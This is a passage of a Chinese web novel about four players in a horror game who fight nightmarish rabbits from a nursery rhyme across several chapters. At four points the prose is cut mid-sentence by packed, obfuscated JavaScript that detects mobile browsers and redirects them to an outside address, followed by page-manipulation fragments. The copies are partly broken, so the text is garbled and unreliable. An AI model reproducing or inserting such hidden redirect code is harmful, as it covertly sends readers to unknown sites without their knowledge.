她一把抓起所有能塞的东西。药锅里的搅拌棒?顺手别在腰间。墙上的草药图鉴?撕下来折好塞进袖口。珍藏的骨头?不管了全部拿走,大衣口袋全部被塞满。 正要撤离,余光却瞥见药锅旁的木桌上,摊开着一本账册。最新的一页上写着: 「今夜只是,十兔子大人亲临验药。」 ……十兔子会来? 窗外雾气渐浓,初与序毫不犹豫地翻窗而出,从迷雾中冲出。几乎在同一瞬间,景明垂和冬逢初也从两侧的树丛中窜出。大概扫了一眼,景明垂的呼吸略显急促,冬逢初裤脚被荆棘划破,但又没受重伤。 “成了?”景明垂压低声音,脚步不停。 初与序没有回答,只是短促地点了下头。 随歌扫了一眼她装得满满的口袋,忍不住笑道:“你咋把人家熬药屋偷空了?” “战利品。”初与序说着,把口袋里杂七杂八的东西随意分成四份,一股脑塞进三个队友口袋里,“先拿着,说不定有用。” 看到初与序这一身“收获”,冬逢初忍不住笑,“……你这是去打劫了?” 下一秒,熬药屋的方向传来一声撕心裂肺的嚎叫。那声音不像是兔子的尖叫,倒像是某种扭曲的人声被拉长、撕裂: “我的药呢?!我的荧光粉呢?!我的图鉴呢?!谁干的——!!!” “快走!它发现了!”随歌“唰”地展开扇子遮住上扬的嘴角,和另外三人同时冲向密林深处。身后的雾气突然剧烈翻涌,像有什么庞然大物正在其中挣扎。 “连我收藏的飘落骨头都不放过?!丧心病狂!!!” 四兔子的声音变得畸形可怖,每个字都带着血腥气。树木开始震颤,地面传来不规律的震动。它追来了,而且速度极快。 初与序侧身闪过一根枯木,突然感觉后劲一凉,她本能地低头。 “唰!” 一只惨白的利爪擦着她的发丝掠过,在树干上留下五道深深的沟壑。那爪子足有成年人的两倍大,指甲弯曲如镰刀,表面覆盖着腐烂的皮毛。 冬逢初从身后来,猛地拽住她手腕向前跑:“别看后面!” 四人冲进一片相对开阔的林间空地,月光在此处格外明亮,也格外危险。 初与序突然刹住脚步:“等等。” 她转身面对追兵的方向,大衣在血色月光下被风吹起。随歌会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15975874|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,竹扇“唰”地展开,横在胸前。 迷雾边缘,一个畸形的巨大身影逐渐清晰。 四兔子的身体膨胀了近一倍,皮肤表面鼓起无数蠕动的肉瘤,每个肉瘤上都嵌着一只血红的眼睛。它的声音现在像是数十人同时嘶吼,震得人鼓膜生疼:“你们…换了…我的药…” 初与序轻笑一声,突然从袖中甩出一个小布袋,那是剩下的月眠花粉。 “还给你。” 粉末在空气中炸开,随歌的竹扇同时挥出,狂风裹着药粉,劈头盖脸扑向怪物。 四兔子发出凄厉的惨叫,那些眼睛接二连三地闭合。它踉跄着后退,庞大的身躯撞断了两颗枯树。四人趁机冲进对面的密林,身后传来四兔子越来越远的咆哮: “十兔子大人…会找到你们…会把你们的骨头…一根一根…熬成汤…” 但它的威胁很快被四人抛之脑后,初与序边跑边说:“十兔子子时会去熬药屋,我们必须在那之前……” 她的话被一声突如其来的系统提示音打断: 【恭喜各位玩家触发大逃杀剧情:「兔子的复仇」。】 “什么?!”随歌猛地刹住脚步,“这么快?” 【十分钟后,将有四只“处刑兔”展开追杀。】 【存活条件:在幽暗森林中躲避至黎明】 【请做好准备。祝各位生存愉快。】 最后一个音节落下时,整片森林骤然陷入死寂满脸风声都消失了,只剩下四人急促的呼吸声。 初与序猛地转身,长发在血色月光下划出弧线:“只有十分钟,听我说。” 她的声音像刀锋劈开凝滞的空气,其余三人立刻围拢过来,每个人的脸上都映着斑驳血月光影。 “四只兔子,对应今早童谣里的病兔、巫医兔、药商兔和熬药兔。”她语速极快,“它们会优先追杀各自对应的目标,我们暂时分开行动,给兔子假象。” “然后。”她从装得满满的口袋里掏出一小瓶荧光药剂,砸在地上。幽蓝的液体四溅,在地上画出一个狰狞的兔头图案,“当看到这个信号,所有人立刻向标记点集合。” 冬逢初突然抬头:“病兔是核心?” “没错。”初与序的瞳孔映着血月,“杀了病兔,诅咒连锁就会断裂,其他三只兔子的力量至少衰减三成。” 随歌的竹扇在指间转了个寒光凛冽的圆:“怎么杀?” “巫医兔的草药箱里,有能致幻的‘笑菇’。病兔现在处于假死状态,只要让它笑着醒来...” “…就会真正死亡。”景明垂轻声接上,嗓音里带着寒意。 “记住。”初与序最后叮嘱,“熬药兔被月眠花削弱,药商兔的血藤怕自己的毒液。” “不出意外,巫医兔讨厌镜子。”景明垂突然说,从口袋里找出之前收起来的碎镜片,“它的药铺作为一个‘诊疗室’,却没有任何反射面的器具。在药箱里还藏着一块被黑布包裹的碎镜。” 初与序点头,嘴角微扬:“行动。” 四人同时后撤,身影如同四支离弦的箭,射向不同方向的黑暗。在他们身后,十座兔子墓碑同时炸裂,泥土中深处惨白的骨爪。 血月之下,童谣再度响起: “大兔子病了,二兔子瞧…” 而这一次,他们终于听清了最后一句: “十兔子笑着说…一个都逃不掉。” 30.十只兔子 血月当空,树影如鬼爪般扭曲伸展。景明垂在枯木间急速穿行,呼吸轻得几乎听不见。 “沙沙……沙沙……” 不是风声,是某种像无数藤蔓爬过树叶的声响。景明垂不用回头也能感觉到药商兔的视线黏在她背上,冰冷贪婪。 来了。 她猛地刹住脚步,侧身闪到一棵枯树后。下一秒,一根粗如儿臂的血藤破土而出。尖锐的倒刺正好擦过她方才站立的位置,在地面上划出三道深钩。 “找到你了……” 药商兔的声音从四面八方传来,带着回音。景明垂眯起眼,摸向腰间的毒液瓶。那是初与序从三兔子药铺顺来的“黑爪草”浓缩毒液,不出意外可以腐蚀血藤。 她故意踩断一根枯枝。 寂静的森林里,这“咔嚓”的声响如同惊雷。 药商兔的身影终于从阴影中浮现,它比想象中更庞大,近三米高的身躯佝偻着,灰绿色的皮毛上爬满蠕动的血藤。它的脸已经看不出兔子的特征,反而像是一张被强行拉伸的人脸。 “你偷了我的药…”它每说一个字,就有黏稠的黑色液体从嘴角滑落。 景明垂没有回答,只是突然扬起手,将毒药瓶狠狠仍向药商兔! “砰!” 毒液瓶在空中划出一道弧线,狠狠砸在药商兔脚边。紫黑色的液体四溅,血藤触碰到毒液的瞬间发出婴儿般的尖啸,疯狂抽搐着缩回。药商兔发出一声怒吼,腐烂的兔脸因疼痛而扭曲。 景明垂已经转身冲进更茂密的灌木丛,她的动作很灵巧,每一次落脚都精准避开地上的枯木和藤蔓。身后,药商兔的咆哮震得树叶簌簌落下,但暂时追不上来。 随歌立于枯木枝头,衣摆翻飞,他垂眸望着下方翻涌的迷雾,嘴角噙着一抹似有若无的笑。 “你…换了…我的药…” 沙哑的嗓音从雾中渗出,迷雾被撕开一道裂口,熬药兔庞大的身躯缓缓浮现。它比之前更畸形了,皮肤上鼓起无数脓包,每个脓包上的眼睛正疯狂转动,锁定树梢上的身影。 随歌轻笑一声,竹扇“唰”地展开:“兄弟,你找错人了。可不是我换的,是初与序换的。” 熬药兔发现自己找错了人,气急败坏地转身,朝初与序的方向走。 随歌趁机划过扇面,林间骤然掀起飓风。枯木、碎石、断枝全部被卷入狂暴的气流中,化作利刃扑向熬药兔。那些脓包眼珠被风沙击中,接二连三地爆炸。 “想去找我队友?你做梦吧!” 熬药兔发出不似活物的尖啸,腐烂的爪子抓向树干。 “啪嚓!” 巨木应声而断,随歌却早已腾空而起。他足尖轻点落叶,身形飘逸得不像在逃亡,倒像在月下独舞。熬药兔的利爪每次都将将擦过他的衣角,却始终慢了一分。 随歌忽然旋身,竹扇横斩。 空气中的水汽顷刻凝结,化作细密的冰晶。熬药兔的动作顿时迟缓,那些爆裂的眼窝里结出霜花,让它痛苦地捂住脸。 随歌收扇后撤,却在转身时看到了震惊的一幕: 熬药兔竟然撕开了自己的胸膛! “我靠啊!死兔子你别自虐啊!”随歌下意识闭眼,又立刻睁开眼睛盯着熬药兔,生怕自己的胸口也被它硬生生撕开。 只见它森森肋骨间,一颗漆黑的心脏剧烈跳动,每跳一下就有毒液喷溅。它狞笑着扯断一根肋骨,当作骨矛仍向随歌! 骨矛破空而来,随歌侧身闪避,却仍被划破肩膀。鲜血浸透夹克衫,他皱了下眉,接着风势腾空而起。 竹扇最后一次展开,却不是挥向熬药兔,而是斩向它头顶的枯树。 “轰隆”一声,巨木砸下,将熬药兔彻底压入毒雾深处。 冬逢初静立在一株古槐之后,呼吸轻得几乎与夜风融为一体。他的指间夹着三枚银针,针尖淬着初与序从巫医兔药箱里偷来的“笑菇”粉末。 远处,铁链拖地的声响渐渐逼近,每一步都沉重如丧钟。 冬逢初微微侧首,余光瞥见那个佝偻的影正提着灯笼走来,灯笼里是几颗浸泡在药液里的眼珠,让他忍不住想起初与序的第一个副本:《人皮体灯笼》。 巫医兔的白大褂早已污秽不堪,缝满了各种动物的器官,随着步伐晃晃荡荡。而它的脸,本该是口鼻的位置,只有一道横贯穿的缝合线。 看来景明垂说对了,巫医兔讨厌镜子。 冬逢初的手指悄悄摸向口袋里的那块碎镜片,当巫医兔经过古槐的瞬间,他突然闪身而出。三枚银针破空而去,精准钉入巫医兔后颈的缝合线。 巫医兔浑身剧颤,灯笼“哐当”坠地。它扭曲着转过身,缝合线下发出闷吼:“谁…敢…偷袭…医者……!” 冬逢初不退反进,踏前一步抽出手,举起镜片。 血月之光在镜面凝聚,刺向巫医兔的脸。 巫医兔尖叫着捂住面部,那些缝在衣服上的器官开始剧烈抽搐。冬逢初趁机欺身而上,袖中滑出第四枚银针。针尖即将刺入巫医兔太阳穴的瞬间,对面突然在面部下方裂开一道血口,露出满嘴尖牙:“你…才是…病人…!” 腥风扑面!冬逢初避过撕咬,足尖点地急退。巫医兔的白大褂突然炸开,无数带着缝合线的医疗器械从内兜射出:手术剪、骨锯、镊子,全部都一股脑袭向冬逢初! 一枚骨锯擦过他的脖颈,带起一线血珠。 冬逢初突然折返冲向灯笼,在巫医兔扑来的刹那,银针挑飞灯笼里的腐蚀药液! “嗤——!” 药液淋在飞射的医具上,金属瞬间锈蚀成渣。巫医兔发出痛彻心扉的哀嚎,那些缝合线开始自行崩断。每断一根,就有一个器官掉落在地。 冬逢初快速跑远,和巫医兔拉开距离。 黑暗如潮水般涌动,初与序立于血月之下,衣摆翻飞,手中骨刃泛着森冷的光。 她的面前,病兔仰躺在地,庞大的身躯如同一座苍白的肉山,胸口微微起伏,嘴角却诡异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15975875|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地向上咧着,露出一个凝固的微笑。那笑容太像人类了,像是被什么东西硬生生扯出来,僵硬扭曲。 假死状态。 初与序的手指轻轻抚过骨刃的刃口,这把从熬药屋带出来的搅拌棒,此刻已经浸透了黑爪草的毒液,刃面泛起幽幽的紫光。 不出意外,今晚就能直接杀死病兔。 她猛地抬手,骨刃划破掌心,鲜血滴落在病兔的唇边. “滴答。” 病兔的睫毛颤了颤。 “滴答。” 它的爪子抽搐了一下,指甲以肉眼看见的速度变黑。 “滴答。” “醒来。”她轻声道。 病兔猛地睁开了眼,和初与序对视。 那是一双浑浊的、布满血丝的眼球,瞳孔细如针尖,倒映着初与序平静的面容。 “嘻…嘻嘻嘻…” 它开始笑,笑声起初很轻,像是从喉咙深处挤出来的气音,而后越来越响,最后变成了震耳欲聋的尖啸。病兔的身体随着笑声剧烈抖动,皮肤下的血管一根根暴起,如同蠕动的黑蛇。 初与序不为所动,她微微皱眉,只觉得很吵。反手从怀中掏出一个小布袋——笑菇粉末,巫医兔药箱里最危险的致幻剂。 她一脚踹向病兔下颌,迫使它张大嘴,将整袋粉末倒了进去。 病兔的笑声戛然而止。 它的眼球疯狂转动,嘴角却越裂越大,最终撕裂了脸颊,露出森白的颧骨。笑声变成了嘶吼,嘶吼又变成了某种非人的呜咽。它的身体开始膨胀,皮肤表面浮现出无数张扭曲的人脸。 远处,另外三只兔子的尖啸声同时响起。 景明垂的毒液瓶在空中炸开,紫雾笼罩药商兔;随歌的竹扇掀起旋风,将熬药兔掀翻在地;冬逢初的银针如流星,钉入巫医兔的眉心。 初与序握紧骨刃,在病兔挣扎着想要爬起的瞬间,纵身跃起。骨刃如一道闪电,刺入病兔的心脏! 黑血喷涌而出,溅在她脸上。病兔疯狂抓向心口,却只抓到初与序的手腕,那里已经被腐蚀得血肉模糊,但握刃的手指纹丝不动。 她身后,幽蓝色的信号光冲天而出。 病兔的躯体僵直,它的笑声变成“咯咯”的窒息声,皮肤上的裂纹迸射出刺目血光。 “嘭!!!” 巨兔炸裂成漫天血雾,其余三只兔子的身体开始迅速崩解。初与序猛地拔出骨刃后退,差点被气浪掀飞。 血雾散尽,地上只剩余四具迅速风化的骸骨。 初与序甩了甩血肉模糊的右手,从骸骨中拔出那截完全变黑的黑爪草。其余三人的身影从密林中陆续浮现。 “十兔子在看。”初与序忽然抬头,低声道。 众人顺着她的目光仰头望去,只见森林深处的古树上,不知何时睁开了一只巨大的血红兔眼,正一眨不眨地凝视着他们。 童谣最后一句幽幽飘落: “十兔子说……游戏才刚开始。” 31.十只兔子 血月西沉,森林终于陷入短暂的黑暗。 四人找到一处隐蔽的岩洞,洞口垂挂着枯藤,像一道天然的帘幕。 随歌用竹扇掀起一阵清风,将洞内陈腐的浊气驱散。景明垂拾了一些干柴,往地上一堆:“谁有打火机?” 初与序从口袋里掏了半天,还真掏出一个打火机出来,很快便燃起一簇小小的篝火。火光跃动,在岩壁上投下摇晃的影子。 “没有意哥,竹扇治疗可能会被系统判定为异常数据。”随歌苦恼地展开竹扇,“我记得J23说,系统心情不好。” “那就不用竹扇了,伤得不算重。”冬逢初不知从哪顺来几株安神的草药,揉碎了撒在火堆旁。淡淡的草药香弥漫开来,中和了空气中那股挥之不去的血腥气。 他在初与序身边坐下,低头检查她受伤的右手,什么都没说,只是取出一卷干净的布条,浸了水帮她一点点清理伤口。 初与序靠在岩壁上,任由他动作,半阖眸子,火光映在她的侧脸上,难得显出几分疲惫的柔和。 另一边,随歌随手从火堆里挑出一颗烤熟的椰果,穿在树皮上慢悠悠地转着。果皮烤得焦脆,甜香丝丝缕缕地飘出来。 “能吃吗?”景明垂走进岩洞,怀疑地盯着那颗来历不明的果子。 “不急丢(不知道)。”随歌笑眯眯地咬了一口,“但我以前经常吃,靠这玩意才没被饿死。” 景明垂伸手拿了另一颗:“你以前在外当野人?” 随歌摇摇头,又点点头:“那倒不是,不过和当野人差不多。吃不饱睡不好,还挨打。” 篝火噼啪作响,洞外偶尔传来几声夜枭的啼叫。却再没有兔子的嘶吼。这一刻的宁静,像是暴风雨中偷来的一叶扁舟,摇晃但让人安心,不知道的还以为这四人在露营呢。 冬逢初包扎好最后一段布条,温声道:“休息吧,轮流守夜。” 火光减弱,洞内陷入昏沉的暗色。四人或靠或躺,各自闭目养神。洞外,夜风拂过树梢,沙沙声如一首催眠的絮语。 而森林最深处,一双血红的眼睛,始终未曾闭合。 天光未明,森林笼罩在一层灰蓝色的薄雾中。 “五兔子死了,六兔子抬……” 稚嫩的童声突兀地响起,像一把锋利的冰锥,猛地刺入熟睡之人的梦境。 初与序瞬间睁眼,右手已按上骨刃。洞口的枯藤无风自动,仿佛有无数看不见的生物正手拉手,绕着他们的栖身之地蹦跳歌唱。 “七兔子挖坑,八兔子埋……” 景明垂坐起身,盯着洞口,那里空无一人,可童谣声却越来越近,像是唱歌的人正贴着他们的耳朵轻声呢喃。 冬逢初无声地移到初与序身侧,指尖夹着三枚银针。他的目光扫过洞外朦胧的雾气,忽然顿住。地面上不知何时出现了一串小小的脚印,湿漉漉的,像是刚从水里爬出来的孩子留下的。 随歌的竹扇悄然展开,他忽然抬手,扇风猛地朝洞口挥去。 雾气被撕开一道口子,童谣声戛然而止。 洞外空荡荡的,只有一棵歪脖子老树上,挂着个破烂的布偶兔子。它的纽扣眼睛掉了一颗,剩下的那只正直勾勾地“看”着他们。 初与序站起身,骨刃在掌心转了个圆,随后别回腰间:“走吧。” 她的声音很轻,而所有人都想起那首童谣的下一句词: “幽暗森林小小墓碑,是兔子冰冷的尸骸。” 晨雾深处,隐约传来铁锈铲土的声响。 “我们去哪?”随歌打了个哈欠,“五兔子死了,去找它的住处吗?” “不,我们去墓地。”初与序回答。 四人朝墓地的方向走,晨雾中的墓地比夜晚更加瘆人。歪斜的墓碑参差不齐地插在地面,空气中弥漫着潮湿的泥土腥气,混合着一丝腐臭。 “在那里。”景明垂忽然停住脚步,她蹲下身,伸手剥开一丛沾满露水的野草。草叶下露出一截苍白的手臂。像是一只兔子的前爪,但已经肿胀得不成形状,皮肤呈现一种诡异的青灰色,像是被水泡发了多日。 五兔子的尸体就躺在墓穴边缘,似是被人草草掩埋后又挖了出来。它的胸口裂开一道巨大的伤口,但不见血迹,只有密密麻麻的黑色丝线在皮肉间穿梭,将伤口粗暴地缝合起来。 “这是…”冬逢初刚要伸手,被初与序一把扣住手腕。 “别碰。”她提醒,“这是诅咒傀儡线。” 景明垂掏出玻璃片,小心翼翼地挑开一缕黑线。线头突然绷直,发出琴弦般的颤音。 “六兔子抬...是六兔子干的。”她皱眉,“这些线看上去不是普通的缝合,它们在把五兔子改造成傀儡。” 仿佛是为了验证她的话,五兔子的尸体突然抽搐了一下,缝合线猛地收紧,勒得腐肉崩裂。 随歌的竹扇已经展开:“所以六兔子是个傀儡师,它想把所有尸体都变成提线木偶?” 雾气中忽然传来“沙沙”声,像是有什么东西在拖行重物。四人同时回头,不远处的一座墓碑后,半张苍白的兔脸一闪而过。它的一只眼睛是纽扣缝的,另一只测试浑浊的死灰色。 “哇啊!”随歌被吓了一跳,“什么玩意过去了?!” “六兔子在看着我们。”冬逢初轻声说。 下一秒,地上的五兔子尸体突然剧烈痉挛,缝合线全部立起,如同毒舌般朝四人刺来! 初与序率先反应过来,手中骨刃寒光一闪,斩断迎面袭来的几根黑线。断裂的线头发出间隙的嘶叫,渐出腐臭的黑血。 四人迅速后撤,但那些线仿佛有生命一般,在空中扭曲着追来。 冬逢初指间银光一闪,三枚银针破空而出,精准钉入尸体眉心、咽喉与心口的缝合节点。五兔子的动作一停,像是被按了暂停键的木偶。 “走!”景明垂抓住这短暂的间隙,率先冲向墓地外围。 随歌边跑边回头,那些被斩断的黑线正蠕动着重新连接,而其他墓碑下的泥土也开始松动,仿佛有更多被缝合的尸体即将破土而出。 他的竹扇掀起一阵狂风,卷起漫天枯叶与尘土,暂时遮蔽了追兵的视线。 四人冲出墓地,钻入密林深处。 “六兔子在制作傀儡大军。”初与序在一棵古树下停住,“今晚它一定会带着抬尸架来收殓五兔子,我们必须先毁掉它的工具。” 冬逢初立刻会意:“抬尸架是傀儡术的重要物品?” “嗯”初与序点头,“没有架子,它就只能徒手搬运尸体,速度至少慢三倍。” 景明垂拍了拍衣服上不存在的灰尘: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15979965|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去哪找抬尸架?” “跟着线。”初与序指向地面,几缕漏网的黑线正蛇形般向东北方蠕动,“不出意外,傀儡线会回归主人身边。” 跟随着黑线的指引,他们在一片被砍伐过的空地上发现了六兔子的工坊。 五具尚未完工的兔尸悬挂在树枝上,每具都被黑线吊着关节,像提线木偶。中央的空地上,摆放着一个用白骨和荆棘编织的抬尸架,架子上缠绕着密密麻麻的傀儡线,在阳光下泛着油腻的光泽。 冬逢初的目光落到架子周围的地面上,他注意到那里有细微的反光,是傀儡线陷阱。 他无声地比了个手势,指向地面那些几乎透明的丝线。一旦触碰,六兔子会立刻察觉。 景明垂从口袋摸出最后一块玻璃碎片,与随歌交换了一个眼神。 下一秒,她的玻璃碎片划破雾气,精准击中远处一具悬吊的兔尸。尸体的手臂应声而断,缠绕其上的傀儡线骤然绷直,发出尖锐的响声! 空地震颤! “谁?!”沙哑的咆哮从林间炸响,六兔子的身影在百米外的树冠间闪现。它佝偻的背上隆起一个巨大的肉瘤,瘤体表面布满缝线,随着呼吸起伏。它的十指延伸出半米长的黑线,正疯狂舞动着。 就在它被声响吸引的时候,冬逢初的三根银针已经分别钉入抬尸架的三个承重点。针尾的月眠花粉簌簌洒落,接触到傀儡线时发出“滋滋”的腐蚀声。架子剧烈摇晃,但黑线迅速缠绕修复。 六兔子已经转身,血红的独眼锁定了冬逢初的位置,它尖啸着扯动手指。 地面突然裂开,三具埋伏已久的兔尸破土而出,腐烂的爪子直掏冬逢初咽喉! “低头!” 初与序从天而降,骨刃横扫,将三具尸体的头颅齐颈斩断。鲜血喷溅中,她一脚踹向摇摇欲坠的抬尸架。 “铮!”一声,一根傀儡线突然缠住她的脚踝,倒刺扎入皮肉。剧毒瞬间蔓延,她的整条腿顿时失去知觉。 六兔子狂笑着收紧指间黑线:“抓到你了…” 随歌的竹扇全力挥出,飓风化作青色龙卷,将空地中央的傀儡线全部搅乱。六兔子一个踉跄,操控出现刹那的停滞。 这不到一秒的空荡,足够冬逢初闪到架子前。 他亮出最后一根银针,针尖淬着从初与序伤口沾取的毒血,狠狠刺入架子核心的傀儡线内! “啊!!!” 六兔子发出撕心裂肺的惨叫,针上的混合毒素顺着黑线逆流而上,它手中的操控线一根根爆裂,脓血从伤口涌出。 初与序趁机斩断脚踝黑线,骨刃脱手飞出。 刃身贯穿抬尸架中央,整座白骨结构轰然崩塌。五具兔尸同时痉挛,天灵盖的黑线断裂,它们像触电的机器般栽倒在地。 六兔子跪倒在地,肉瘤上的缝线全部崩开,露出里面跳动的大脑。它癫狂地抓着地面:“我的军队…我的…” “这玩意叫军队?!”随歌不可置信。 “回去!”初与序单脚跳起,被景明垂一把扶住。四人冲向密林深处,身后传来六兔子泣血般的诅咒: “今晚…我要把你们…一针一针…缝进我的皮里…!” 冬逢初回头看了一眼,崩塌的抬尸架残骸中,那些断裂的黑线正像蛆虫般蠕动,慢慢聚拢。 32.十只兔子 四人躲进一处隐蔽的山洞,洞内潮湿阴冷,但至少暂时隔绝了外界的危险。 初与序靠在岩壁上,右腿已经彻底麻痹,裤腿已经被毒血浸透,呈现出不详的紫黑色。她觉得自己挺倒霉的,第一个副本《灯影诡村》被老板娘下毒,第三个副本又中了六兔子的毒,还是在几个队友面前。 因毒素蔓延带来的剧烈疼痛,她的脸色已经苍白,却仍然不肯撩起裤管治疗伤口。 “别硬撑啦你~”随歌在初与序腿边蹲下身,竹扇轻展,露出写着【全服第一帅】的那面,“我的扇子技能也可以净化毒素的,来让全服第一帅治疗师给你露一手!” 初与序微微皱眉,下意识将腿往后缩了缩,抗拒道:“不用。” 景明垂正擦拭着玻璃碎片,闻言抬头:“你想截肢?” 冬逢初没说话,只是默默取出银针,在火上烤了烤。静静注视着初与序,没有催促,却带着不容拒绝的坚定。 僵持数秒后,初与序终于败下阵来,一把掀开右腿裤管。 昏光下,她的整条小腿布满未淡下去的淤青和伤疤。有些是新旧交叠的鞭痕;有些明显是烟头烫的圆形疤痕;最刺目的是一道缝合疤,针脚粗粝,像是被人随意用铁丝缝合过。 洞内顿时寂静下来,只剩下粗重的呼吸声。 初与序垂着眸不吭声,几人看不清她的神情。 随歌手抖了一下,紧接着竹扇落下,清风裹着治愈的灵力拂过伤口。淤血渐渐化开,毒素被一点点抽出,化作黑雾消散。冬逢初的银针精准刺入几个穴位,景明垂默默递来干净的布条,避开那些伤疤缠绕包扎。 他们什么都没问。 初与序垂眸,指尖微不可察地颤了颤。 “完成。”随歌笑嘻嘻开口,“系统竟然没判定我违规——” 【警告:异常数据检测】 随歌:“???” 【违规行为:角色隐藏属性暴露】 【惩罚程序启动】 “轰——!!!” 一道闪电劈下,暴雨倾盆而下,雨水混着鲜血,是血红色的,带着铁锈味的腥气。四人同时转头,只见外面的雨幕中,隐约有数道白影在跳跃。 是兔子!它们在暴雨中兴奋地嘶叫,朝小屋包围而来! “……我想念意哥的重力场了!”随歌唉声叹气,“每次单独一人使用治疗能力时都会出现能力波动,被系统判定为异常数据。” 初与序面无表情拉下裤腿:“七兔子是掘墓者,它的铁锹是关键。” 她抬手一指东北方,那里隐约可见一个歪斜的矿洞,洞口堆积着无数惨白的兽骨:“铁锹应该就在它的老巢。现在下暴雨,只能分头行动,效率更高。” “分多开?”景明垂问。 “足够让那群兔子分散兵力。”初与序回答,“我去矿洞找铁锹,随歌用竹扇制造无数个我的幻象,引开追兵。景明垂和冬逢初在血池边接应。拿到铁锹后,立刻腐蚀它。” 冬逢初皱眉:“太冒险了,七兔子很可能守在那里。” “所以只能我一个人去,我死了还能复活。”初与序说,“掘墓兔的铁锹每挖一次土,就会强化活埋兔的诅咒。不毁掉它,今晚我们都会被埋进坑里。” 一道闪电劈落,照亮了整个森林,外面兔子的包围圈越来越小。 随歌的竹扇“唰”地展开,扇骨泛着幽光:“本帅哥能给你争取十分钟,这么样~够不够义气?” “多谢。”初与序将骨刃别在腰间,转身冲进雨幕。 三人看着她消失在血色暴雨中的背影,随即各自散开。 随歌的竹扇掀起迷雾,林间顿时出现十几个初与序的残影;冬逢初与景明垂奔向沼泽深处的血池,每一步都溅起腐蚀性的水花;而真正的初与序,正攀上矿洞外的骸骨堆。 洞口悬挂的骷髅风铃突然无风自动。 “叮铃……” 黑暗中,传来铁锹拖地的刺耳声响。 “咚…咚…咚…” 沉重的脚步声从隧道深处传来,初与序贴着湿滑的岩壁潜行,她屏住呼吸,看见拐角处投下一个畸形的巨大影子。 七兔子佝偻着三米高的身躯,腐烂的皮毛上沾满坟土。它的右爪拖着一把锈迹斑斑的铁锹,锹刃竟是用人骨磨制,每走一步都在地面上留下冒着黑烟的腐蚀痕迹。而它的脸上没有眼睛,只有两个黑洞洞的窟窿,嘴角咧到耳根,露出满口尖牙。 当初与序闪身突袭的瞬间,七兔子突然歪头“看”向她。 “新…尸体…来…了…” 铁锹带着腥风横扫而来!初与序矮身翻滚,骨刃与铁锹相撞出刺目火花。震麻感从虎口窜至肩胛,她这才发现铁锹柄上缠绕着无数傀儡线,是六兔子做的手脚! 七兔子狂笑着举起铁锹,重重砸向地面! 整个矿洞剧烈颤动,头顶的骸骨如暴雨般坠落。初与序在骨堆间疾速奔跑,身后地面不断裂开深坑,喷出腥臭的坟土。 十分钟快到了。 她突然折返冲向七兔子,在铁锹劈下的瞬间侧身滑铲,骨刃狠狠划过它腐烂的脚踝! 七兔子踉跄着单膝跪地,初与序趁机攀上它的后背,骨刃刺向它后颈上缝合线。刀刃刚没入半寸,突然被肌肉卡住。 糟了! 七兔子的爪子已经向后抓来,指尖距离她左眼的眼球不足三寸,她心里顿时一沉! 要知道,她的右眼视力受损看不清东西,一旦左眼被毁,就相当于瞎子。 忽然,只听“唰!”一声! 一道青光破空而至,随歌的竹扇如回旋镖斩断七兔子半截手指! 初与序毫不犹豫拔出骨刃,狠狠扎进七兔子颈部的缝合口一撬。鲜血瞬间喷涌而出,七兔子发出濒死的嚎叫。她趁机一脚踹向铁锹柄,武器脱手的怪物疯狂抓挠自己的伤口,而她已抱着铁锹跃入矿洞深处的暗河。 暗河将初与序冲进沼泽,她爬上岸时,景明垂和冬逢初正被三只活埋兔围攻。 “接着!”她将铁锹扔向血池。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15979966|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬逢初的银针精准击中锹柄,改变它的轨迹坠入血池。池水沸腾着吞没铁锹,白骨锹刃像糖块般融化,七兔子在矿洞深处发出同步的哀嚎。 活埋兔们突然僵住,身上的坟土簌簌脱落。 “退后!”随歌的竹扇卷起旋风,将三只兔子掀入血池。 四人喘息着汇合,初与序的骨刃已经布满裂纹。她抹了把脸上的血水,看向正在腐蚀的铁锹。 成了。 【警告:七兔子武器损毁】 【八兔子提前激活】 “啥玩意?!”随歌睁大眼,“系统你他妈有病吧?!” 